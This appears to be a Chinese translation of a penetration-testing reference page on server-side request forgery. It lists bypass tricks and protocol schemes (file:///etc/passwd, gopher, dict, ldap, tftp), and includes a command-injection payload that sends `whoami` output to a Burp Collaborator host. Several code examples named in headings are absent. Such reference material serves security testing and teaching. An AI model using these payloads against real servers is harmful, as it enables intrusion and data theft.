SSRF (Server Side Request Forgery)

使用Trickest 来轻松构建和自动化工作流,使用世界上最先进的社区工具。 立即获取访问权限:
基本信息
服务器端请求伪造(SSRF)漏洞发生在攻击者操纵服务器端应用程序以向其选择的域发出HTTP请求时。此漏洞使服务器暴露于攻击者指定的任意外部请求之中。
捕获SSRF
您需要做的第一件事是捕获您生成的SSRF交互。您可以使用工具来捕获HTTP或DNS交互,例如:
Burp Collaborator
https://github.com/dwisiswant0/ngocok - 使用ngrok的Burp Collaborator
绕过白名单域
通常您会发现SSRF仅在特定的白名单域或URL中起作用。在以下页面中,您可以找到绕过白名单的技术汇编:
URL Format Bypass通过开放重定向绕过
如果服务器受到正确保护,您可以通过利用网页内的开放重定向来绕过所有限制。因为网页将允许对同一域的SSRF,并且可能会跟随重定向,您可以利用开放重定向使服务器访问任何内部资源。 阅读更多信息:https://portswigger.net/web-security/ssrf
协议
file://
URL方案
file://指向/etc/passwd:file:///etc/passwddict://
DICT URL方案用于通过DICT协议访问定义或单词列表。给出的示例说明了一个构建的URL,针对特定单词、数据库和条目编号,以及一个PHP脚本可能被滥用以使用攻击者提供的凭据连接到DICT服务器:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>SFTP://
作为安全文件传输的协议,提供了一个示例,展示了如何利用PHP脚本连接到恶意SFTP服务器:
url=sftp://generic.com:11111/TFTP://
提到了通过UDP运行的Trivial File Transfer Protocol,提供了一个设计用于向TFTP服务器发送请求的PHP脚本示例。向'generic.com'的端口'12346'发送TFTP请求以获取文件'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKETLDAP://
介绍了轻量级目录访问协议,强调其用于管理和访问分布式目录信息服务的IP网络。通过ssrf.php?url=ldap://localhost:11211/%0astats%0aquit与本地主机上的LDAP服务器进行交互。
SMTP
描述了利用SSRF漏洞与本地主机上的SMTP服务进行交互的方法,包括揭示内部域名并基于该信息采取进一步的调查行动的步骤。
Curl URL globbing - WAF bypass
如果 SSRF 是由 curl 执行的,curl 有一个称为 URL globbing 的功能,可以用来绕过 WAF。例如,在这个 writeup 中,你可以找到一个关于通过
file协议进行 路径遍历 的示例:
Gopher://
讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力,以及使用Gopherus和remote-method-guesser等工具来构建有效负载。展示了两种不同的用途:
Gopher://
使用这个协议,您可以指定您希望服务器发送的IP、端口和字节。然后,您基本上可以利用SSRF与任何TCP服务器通信(但您需要先了解如何与该服务进行通信)。 幸运的是,您可以使用Gopherus为多个服务创建有效负载。此外,remote-method-guesser可用于为Java RMI服务创建_gopher_有效负载。
Gopher smtp
Gopher HTTP
Gopher HTTP
Gopher SMTP — 反向连接到1337
Gopher MongoDB -- 使用用户名为admin、密码为admin123且权限为管理员创建用户
通过Referrer头部和其他方式进行SSRF攻击
服务器上的分析软件通常记录Referrer头部以跟踪传入链接,这种做法无意中使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为这类软件可能访问Referrer头部中提到的外部URL来分析引荐站点内容。为了发现这些漏洞,建议使用Burp Suite插件“Collaborator Everywhere”,利用分析工具处理Referer头部的方式来识别潜在的SSRF攻击面。
通过证书中的SNI数据进行SSRF攻击
通过一个示例Nginx配置展示了一种可能使连接到任何后端变得简单的错误配置:
在这个配置中,直接使用来自服务器名称指示(SNI)字段的值作为后端地址。这种设置暴露了服务器端请求伪造(SSRF)的漏洞,可以通过在SNI字段中简单指定所需的IP地址或域名来利用。下面是一个利用示例,使用openssl命令强制连接到任意后端,比如internal.host.com:
SSRF与命令注入
值得尝试的有效负载可能是:url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs 渲染
如果网页自动创建了包含您提供信息的 PDF,您可以插入一些将由 PDF 创建者(服务器)执行的 JS,同时创建 PDF 时,您将能够滥用 SSRF。在此处查找更多信息.
从 SSRF 到 DoS
创建多个会话并尝试从会话中利用 SSRF 下载大文件。
SSRF PHP 函数
PHP SSRFSSRF 重定向到 Gopher
对于某些利用,您可能需要发送重定向响应(可能使用不同的协议,如 gopher)。这里有不同的 Python 代码来响应重定向:

使用Trickest 可轻松构建并通过全球最先进的社区工具自动化工作流程。 立即获取访问权限:
配置错误的代理到 SSRF
来自此文章的技巧。
Flask
最后更新于
